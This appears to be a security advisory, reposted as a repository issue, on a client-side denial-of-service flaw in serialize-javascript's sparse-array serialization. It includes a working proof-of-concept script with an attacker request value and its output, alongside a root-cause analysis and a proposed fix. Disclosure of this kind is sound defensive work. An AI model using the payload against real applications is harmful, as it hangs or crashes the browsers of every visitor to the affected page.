yahoo / yahoo/serialize-javascript
Security Advisory: serialize-javascript echoes an unvalidated sparse-array `length` into client-side `Array.prototype.slice.call`, enabling browser CPU/memory denial of service
Nobody has claimed this yet.
- Dominant language
- JavaScript
- Stars
- 2.9k
- Forks
- 215
- Avg merge
- 1d 12h
- Merged PRs (30d)
- 2
Description
Summary
| Attribute | Value |
|---|---|
| Vendor / Org | Yahoo |
| Product | serialize-javascript |
| Component | index.js — sparse-array serialization branch |
| Affected Versions | >= 5.0.0, <= 7.1.1 (client-side residual of the sparse-array branch) |
| Severity | Medium |
| CVSS 3.1 Score | 6.9 |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:H |
| CWE | CWE-789 (Memory Allocation with Excessive Size Value), CWE-1284 |
| Affected File | index.js:325 (output construction), index.js:176-181 (sparse detection) |
CVSS 3.1 Breakdown
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:H — Score: 6.9 (Medium)
| Metric | Value | Justification (from the PoC) |
|---|---|---|
| Attack Vector (AV) | N | Attacker controls an array index via a normal network request parameter. |
| Attack Complexity (AC) | L | A single request with a large numeric index; no race or special state. |
| Privileges Required (PR) | N | No authentication needed. |
| User Interaction (UI) | R | A victim must load the page that hydrates the serialized output. |
| Scope (S) | C | Server-produced output crosses into the victim browser, whose resources (a different authority) are exhausted. |
| Confidentiality (C) | N | No data disclosure. |
| Integrity (I) | N | No data modification. |
| Availability (A) | H | The victim browser tab hangs/OOMs materializing an up-to-2^32-1-length array. |
Description
Excessive memory allocation in the sparse-array serialization of Yahoo serialize-javascript >= 5.0.0, <= 7.1.1 allows a remote attacker who controls an array index to cause client-side denial of service, by emitting an array-like literal whose unvalidated length (up to 4,294,967,295) is materialized by Array.prototype.slice.call in the victim's browser.
When a sparse array is serialized, the library emits
Array.prototype.slice.call({..., "length": <N>}), copying the original array's length
into the output with no validation or upper bound. Server-side cost is O(assigned
elements), but the hydrating browser pays O(length). An attacker who controls only an array
index (results[req.query.page] = row) produces a ~86-byte response that forces the client
to iterate up to 2^32-1 times.
Security consequence (so-what): an attacker spends a few dozen bytes to hang or crash
the browser tab of every user who renders the affected page — a decoupled client-side
resource-exhaustion (amplification) DoS.
Relationship to CVE-2026-34043 (GHSA-qj8w-gfj5-8c6v): that advisory fixed the
server-side CPU cost of detecting a large array-like (patched in 7.0.5 via
Array.isArray/Object.keys). This report concerns the still-present client-side
emission at index.js:325, which echoes the length into the output executed by the
victim browser. The two have different sinks and different fixes.
Root Cause
The sparse branch materializes the output by merging the raw length into an object literal:
if (type === 'A') {
return "Array.prototype.slice.call(" +
serialize(Object.assign({ length: arrays[valueIndex].length }, arrays[valueIndex]),
options) + ")"; // index.js:325
}
arrays[valueIndex].length is written verbatim. Unlike the Date (index.js:300), RegExp
(index.js:308-311) and URL (index.js:342) branches, which validate their emitted values,
length receives no Number.isInteger/upper-bound check. The generated
Array.prototype.slice.call({length: 4294967295, ...}) is valid JS whose evaluation in the
browser allocates/iterates a 4.29-billion-slot array.
Reproduction Environment
| Item | Value |
|---|---|
| Runtime | Node.js v26.5.0 |
| serialize-javascript | 7.1.1 (installed from npm registry) |
| OS | macOS (darwin 25.6.0) |
| Build tool | npm |
Proof of Concept
POC Source Code
package.json
{
"name": "sjs-cve-poc",
"version": "1.0.0",
"private": true,
"dependencies": {
"serialize-javascript": "7.1.1"
}
}
poc02_sparse_array.js
// PoC #2 — client-side CPU/memory amplification via unvalidated sparse-array length.
// Reachability: a public HTTP handler assigns rows by an attacker-controlled index.
// serialize-javascript@7.1.1 echoes the array-like `length` verbatim into the output;
// the victim browser's Array.prototype.slice.call pays O(length).
const serialize = require('serialize-javascript');
function serverHandler(query) { // models: app builds page state from request
const results = [];
results[query.page] = { ok: true }; // pure data: attacker controls only an index
return serialize({ results }); // embedded as <script>window.__STATE__=...</script>
}
// --- attacker request ---
const out = serverHandler({ page: 4294967294 });
console.log('server output bytes:', out.length);
console.log('server output :', out);
// --- what the victim browser evaluates (real cost simulation) ---
// Measure the client hydration cost with a smaller but already-crippling length so the
// harness terminates; production `length` = 4294967295 makes this effectively unbounded.
function clientCost(lengthVal) {
const arrayLike = { length: lengthVal, [lengthVal - 1]: { ok: true } };
const t = Date.now();
const arr = Array.prototype.slice.call(arrayLike); // exactly what the output does
return { ms: Date.now() - t, materialized: arr.length };
}
for (const L of [1e6, 1e7, 1e8]) {
const r = clientCost(L);
console.log(`client slice length=${L}: ${r.ms} ms, array elements=${r.materialized}`);
}
// --- control baseline: dense array of same logical size is NOT sparse -> not amplified ---
const dense = serialize({ results: [{ ok: true }] });
console.log('control (dense len=1) output:', dense);
Execution Steps
mkdir poc && cd poc- Save the
package.jsonabove, thennpm install. - Save the source above as
poc02_sparse_array.js. node poc02_sparse_array.js
Actual Execution Evidence
server output bytes: 86
server output : {"results":Array.prototype.slice.call({"4294967294":{"ok":true},"length":4294967295})}
client slice length=1000000: 14 ms, array elements=1000000
client slice length=10000000: 140 ms, array elements=10000000
client slice length=100000000: 1279 ms, array elements=100000000
control (dense len=1) output: {"results":[{"ok":true}]}
Analysis of Results
The server emits a fixed 86-byte string regardless of length, confirming cost is
decoupled from server effort. The client cost grows linearly with the echoed length
(1e6→14ms, 1e7→140ms, 1e8→1279ms); extrapolated to the emitted length of 4,294,967,295
the browser thread is blocked for ~50+ seconds and allocates billions of slots, hanging or
OOM-crashing the tab. The control (a dense one-element array) serializes as a plain
[{"ok":true}] with no slice.call and no amplification — isolating the defect to the
unvalidated sparse-array length echo.
Impact
A single small request lets an unauthenticated attacker embed an amplification bomb into a
page's serialized state; every visitor who hydrates that state suffers a hung/crashed
browser tab. Applications that route user-controlled indices into arrays they later
serialize (pagination, id-keyed result maps) are exposed.
Remediation
Recommended Fix
Validate length once and emit a construction linear in the assigned elements, never
echoing an arbitrary length:
if (type === 'A') {
var src = arrays[valueIndex];
var len = src.length;
if (!Number.isInteger(len) || len > (options.maxArrayLength || 100000)) {
throw new TypeError('Array length exceeds serialization limit');
}
// emit a construction proportional to assigned elements only
...
}
This keeps client cost proportional to the data actually present, a maintainer-owned change
at index.js:325.
Workaround
Consumers should validate/limit any user-controlled array index before serialization and
avoid creating sparse arrays from request data.
References
- Affected source:
index.js:325,index.js:176-181in yahoo/serialize-javascript v7.1.1. - CWE-789: https://cwe.mitre.org/data/definitions/789.html
- CWE-1284: https://cwe.mitre.org/data/definitions/1284.html
- Related: CVE-2026-34043 / GHSA-qj8w-gfj5-8c6v (server-side detection cost, fixed 7.0.5) —
this report is the distinct client-side emission residual.
Contributor guide
No contributing guide indexed for this repository
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Read the sparse-array detection at index.js:176-181 and the output construction at index.js:325, then compare the validation used by the Date, RegExp, and URL branches. Run poc02_sparse_array.js to reproduce the client-side cost; done means the sparse path no longer emits an arbitrary length and client work stays proportional to assigned elements.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- javascript
- Domain
- security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Active
- Clarity
- Mostly clear
- Newbie friendliness
- 48/100